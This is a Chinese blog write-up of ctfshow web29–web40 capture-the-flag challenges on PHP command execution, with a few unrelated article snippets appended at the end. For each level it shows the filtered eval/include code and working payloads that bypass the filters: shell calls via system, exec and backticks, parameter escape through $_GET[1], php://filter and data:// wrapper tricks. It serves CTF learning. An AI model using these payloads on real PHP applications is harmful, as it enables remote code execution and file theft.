ctfshow web29-web40

news/2024/5/19 1:19:53

命令执行

看清都过滤了些什么!!

知识点:

web34:当;和()被过滤了就用语言结构,一般有echo print isset unset include require

web37:data协议是将后面的字符串当成php代码执行,例如 /?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

web38:短标签/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

web29(shell指令)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

分析上面的php代码可知 如果传递了c变量,它将被赋值给变量$c,又因为有正则表达式, 检查变量$c中是否包含字符串"flag"(不区分大小写)

如果变量$c中不包含字符串"flag",则执行eval($c);,将$c作为PHP代码进行解析和执行

试了?c=任意字符不对

1.查看phpinfo

phpinfo() 是 PHP 中的一个函数,用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等,可以帮助开发者了解 PHP 的运行环境和配置信息。

/?c=phpinfo();
/?c=phpinfo()?>

2.查看目录

system

/?c=system(ls);

发现存在flag.php

3.尝试使用shell指令查看flag

///将flag.php复制到1.txt

执行后无回显

?c=system("cp fla?.php 1.txt");

查看flag

/1.txt

web30(exec)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{ highlight_file(__FILE__);
}

过滤了flag,system,php

解法一:

这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),由于flag被过滤,这里用通配符表示

/?c=exec('cp fla* 1.txt');

用passthru函数执行命令 也可以查看目录

/?c=passthru('ls');

下面这个也可以查出目录,注意是``` 不是'''

/?c=echo `ls`;

方法二:

/?c=echo `cat ????.???`;

但没有返回结果,可能是php文件将flag当变量解析了

类似于这样

同样将原本的flag.php重命名

/?c=echo `cat ????.??? >> 1.txt`;

再查看1.txt就有flag了回显了

知识点:

直接/?c=`cp fla?.??? 1.ttx`;也是可以的``相当于system

php执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
web31

代码审计

php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag system php cat sort shell \. 空格 \'

空格都过滤了

做题思路就是绕过过滤

嵌套异或逃逸:eval()

&符号作为连接并且,使用get的1作为一个参数,传给c,再给1一个赋值,这样就可以跳过对c的过滤。

这里1就相当于参数逃逸出去了,不属于c

eval() 函数用来执行一个字符串表达式,并返回表达式的值。 无回显

/?c=eval($_GET[1]);&1=system('ls');

下一步

/?c=eval($_GET[1]);&1=system('cat flag.php');

还是无回显,源代码中查看

还可以用cat的倒叙tac

/?c=eval($_GET[1]);&1=system('tac flag.php');

会直接显示在页面不用查看源代码

相当于借助了一个跳板,让他执行参数1的值,参数1就脱离了对参数c的正则判断

web32

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"

绕过flag 、system、php、cat、sort、shell、. 、空格、’、` 、echo、;、括号

括号也被过滤了,web31的方法行不通

文件包含include()

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource是过滤器也是伪协议,意思是通过指定的通道来读取某个文件

分析:

?c=include%0a$_GET[1]?>:通过GET请求传递参数"c",并使用include函数来包含指定的文件。在这个payload中,使用"%0a"来表示换行符"\n",使得$_GET[1]能够被解析为一个新的变量。最终的目的是执行从GET参数"1"中获取的文件路径。

1=php://filter/convert.base64-encode/resource=flag.php:使用GET请求传递参数"1",该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式,其中php://filter用于对文件进行过滤和转换,convert.base64-encode表示将文件内容进行Base64编码,而resource=flag.php指定了要读取的文件为flag.php。

二者用&连接,参数"1"可变,前后要一致

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

利用文件包含,将flag.php包含进来。再使用过滤器,base64编码读取flag

filter:通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件

之后base64解码

ctfshow{8056c2ba-9a09-4b94-acdd-20c2030d6e2e}
web33

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了

绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤

同web32,既然过滤了括号就用include(文件包含)

(注意一个自己经常犯的错误就是将0输成字母o)

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到base64编码后解码

flag

ctfshow{1a7bb049-5a66-4b3b-bdd5-a18fdc588e86}

也可以不用include

require
/?c=require%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag system php cat shell sort . ’ ` echo ; : "

过滤了括号,同web32用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64解码得flag

ctfshow{7772b93d-741a-4162-bce5-2715b5f968da}
web35

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了 flag system php cat sort shell . 空格 ' ` echo ;( : " < =

这次多了<=

同web34用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64编码解码得flag

ctfshow{bd3a8999-bebb-4891-b65c-71cfce527138}
web36

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag system php cat sort shell . 空格 ' ` echo ; ( : "< = / [0-9]

数字也被过滤了,但在web32中提过,参数1是可变的,前后一致即可

还是用include

将参数1换成参数a
/?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

base64解码

33360a68-e0fd-40dc-8d5e-4a8a28ef3cc1
web37

代码审计

<?php
//flag in flag.php 
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

题目 说flag in flag.php ,并且使用include包含输入

过滤了flag

新知识:

data协议:

text/plain,<?php system(‘命令’);?>

将后面的字符串当php代码执行

/?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

将flag.php的内容复制到1.txt中,也可以mv fla?.php 1.txt

查看1.txt

ctfshow{1cf13af4-3a5e-4440-aeb8-0e19523c36c7}

知识点:data伪协议的利用

web38

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

过滤了flag php file

试了/?c=data://text/plain,<?php system("cp fla* 1.txt");?>

对啊 php被过滤了

将php换成= 变成短标签

/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

查看1.txt拿到flag

ctfshow{fb22ff01-0402-4424-a89a-13f32d3d12e4}
web39

代码审计

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

过滤了flag

用data协议

/?c=data://text/plain,<?php system("ls");?>

tac 反向输出flag

/?c=data://text/plain,<?php system("tac fla?.php");?>

ctfshow{fbb2671b-e664-4f62-850e-6d76c00ccfc6}

看着有点眼熟,方法跟web37一样

php代码上有一点点不一样

include($c); echo $flag; 和include($c.".php");

web40

代码审计

<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

过滤了[0-9] ~ ` @ # \$ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? \\

一眼看去过滤了好多符号,没有过滤字母

有提示:show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

提示就有payload:

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

ctfshow{e4d160e6-924f-4e8d-bd4f-fd3084875a3c}

自己的方法:

拿到当前的变量

/?c=print_r(get_defined_vars());

有点不一样

/?c=print_r(next(get_defined_vars()));

/?c=print(array_pop(next(get_defined_vars())));

显示php版本

让他执行一下

/?c=eval(array_pop(next(get_defined_vars())));

博主是可以出来的,但我不可以

执行成功可以rce


http://www.mrgr.cn/p/00300821

相关文章

ASP.NET基于WEB的选课系统

摘要 设计本系统的目的是对选课信息进行管理。学生选课系统维护模块主要完成的是系统管理与维护功能。课题研究过程中&#xff0c;首先对系统管理模块进行了详尽的需求分析&#xff0c;经分析得到系统管理模块主要完成如下的功能&#xff1a;用户基本信息、选课信息的录入,查看…

感染了后缀为.360勒索病毒如何应对?数据能够恢复吗?

导言&#xff1a; 360勒索病毒&#xff0c;作为一种新型网络威胁&#xff0c;近年来在网络安全领域引起了广泛关注。这种病毒不仅危害个人计算机和数据安全&#xff0c;还对企业和组织造成了严重损失。深入了解.360勒索病毒的特点、传播途径和防范策略&#xff0c;对于保护我们…

visualstudio着色器设计器shadergraph使用

第一次使用着色器设计器。 vs的着色器设计器是hlsl的着色器设计器。不得不说里面节点得翻译是一坨屎。 附一个光线于法向量夹角渲染的设计图

MySQL表列数和行大小限制详解

MySQL表列数和行大小限制详解 MySQL在表的列数和行大小方面有一些限制&#xff0c;本文将对这些限制进行详细解释。 列数限制 MySQL对每个表的列数有硬限制为4096列&#xff0c;但对于给定的表&#xff0c;实际的最大列数可能会更少。确切的列限制取决于几个因素&#xff1a…

linux系统管理

1.用户、用户组 创建用户 useradd [-g -d] 用户名 选项:-g指定用户的组,不指定-g,会创建同名组并自动加入,指定-g需要组已经存在,如已存在同名组,必须使用-g 选项:-d指定用户HOME路径,不指定,HOME目录默认在:/home/用户名 删除用户 userdel [-r] 用户名 选项:-r,删…

Ubuntu22.04.4 - apt - 笔记

一、修改源配置 这里使用的时候又出现了联不通的情况&#xff0c;换成国内镜像 在update cp /etc/apt/source.list /etc/apt/source.list.bak vim source.list 换源地址 修改完&#xff08;网上有&#xff0c;注意&#xff1a;根据Ubuntu版本不一样&#xff0c;部分内同也会不…

小型架构实验模拟

一 实验需求 二 实验环境 22 机器&#xff1a; 做nginx 反向代理 做静态资源服务器 装 nginx keepalived filebeat 44机器&#xff1a; 做22 机器的备胎 装nginx keepalived 99机器&#xff1a;做mysql的主 装mysqld 装node 装filebeat 77机器&#xff1a;做mysq…

Gitlab: Python项目CI/CD实践

目录 1. 说明 2. 准备工作 2.1 服务器 2.2 开发机hosts文件 2.3 项目 3. 步骤过程 3.1 建仓Fastapi T1 3.2 开发机测试构建与推送 ​编辑 3.3 在工作站添加gitlab-runner 3.4 提交代码&#xff0c;查看Pipelines结果 3.5 观察部署情况 4. 参考 1. 说明 分别以一个…

探索飞行奥秘:3D模型带你走进飞机涡轮发动机的世界

飞机涡轮发动机3D模型不仅是对真实发动机的精准复制,更是科技与艺术的完美结合。每一个细节都经过精心打磨,无论是复杂的叶片结构、精致的燃烧室,还是精密的控制系统,都让人叹为观止。仿佛置身于真实的发动机内部,感受着那股强大的力量从心底涌起。在浩瀚的蓝天下,飞机如…

C++高级特性:异常概念与处理机制(十四)

1、异常的基本概念 异常&#xff1a;是指在程序运行的过程中发生的一些异常事件&#xff08;如&#xff1a;除数为0&#xff0c;数组下标越界&#xff0c;栈溢出&#xff0c;访问非法内存等&#xff09; C的异常机制相比C语言的异常处理&#xff1a; 函数的返回值可以忽略&…

openwrt wifi连接做中继

连接目标wifi 重命名下 3. 4. 在无线安全里设置wifi密码后 保存应用 大功告成

JavaEE 初阶篇-深入了解 UDP 通信与 TCP 通信(综合案例:实现 TCP 通信群聊)

&#x1f525;博客主页&#xff1a; 【小扳_-CSDN博客】 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 UDP 通信 1.1 DatagramSocket 类 1.2 DatagramPacket 类 1.3 实现 UDP 通信&#xff08;一发一收&#xff09; 1.3.1 客户端的开发 1.3.2 服务端的开发 1.4 实现 …

搭建MySQL主从结构时的问题

说明&#xff1a;记录搭建MySQL主从结构时遇到的几个问题&#xff1b; 问题一&#xff1a;连接主节点失败 搭建完成后从节点查看状态如下&#xff1a; 错误&#xff1a;error connecting to master admin主机IP - retry-time: 60 retries: 712 message: Host 主机IP is block…

2、MATLAB入门常用命令

一、退出和中断 exit和quit&#xff1a;结束MATLAB会话。程序完成&#xff0c;如果没有明确保存&#xff0c;则变量中的数据丢失。 Ctrl c&#xff1a;中断一个MATLAB任务。例如&#xff0c;当MATLAB正在计算或打印时&#xff0c;中断一个任务&#xff0c;但会话并没有结束。…

[题解] [NOIP2011 提高组] Mayan 游戏

[题解] [NOIP2011 提高组] Mayan 游戏 题目描述 有一个 \(7\) 行 \(5\) 列的格子棋盘,有的格子上有方块。方块有重力,即如果一个方块下面没有其他方块,他就会往下掉,直到触底或者下面有方块为止。 每个方块都有自己的颜色,如果连着三个竖着或者横着的方块颜色相同,它们就…

敏捷产品经理实训 / 敏捷产品负责人实训

​ 课程简介 优秀的产品通常包括以下三个特征: 第一:能够抓住用户痛点,帮助用户解决问题;第二:容易使用,极致的用户体验;第三:质量好、性能稳定。 这是一个两天的面向产品经理的实训课程,课程旨在帮助学员掌握按照敏捷和互联网思维进行产品研发,打造用户喜爱的产品的…

C语言编程题_3D接雨水

接雨水的题目描述如下。 (1) 2D接雨水&#xff1a; 字节员工是不是个个都会接雨水 &#xff1b; (2) 3D接雨水&#xff1a; 407. 接雨水 II &#xff1b; (3) 3D接雨水&#xff1a; 字节人都会的 3D接雨水 。 问题描述 难度&#xff1a;困难 给你一个 m x n 的矩阵&#xff…

JMeter定时器(一)

一 前言 环境: window 10 JMeter 5.3 二 定时器 定时器(Timers)的作用就是对取样器(sampler)的执行进行延迟,所以,定时器只对同作用域的取样器有意义 定时器会在其所处作用域内的取样器之前执行。把定时器添加为取样器的子节点,这样就会在取样器之前执行 1 固定定时器…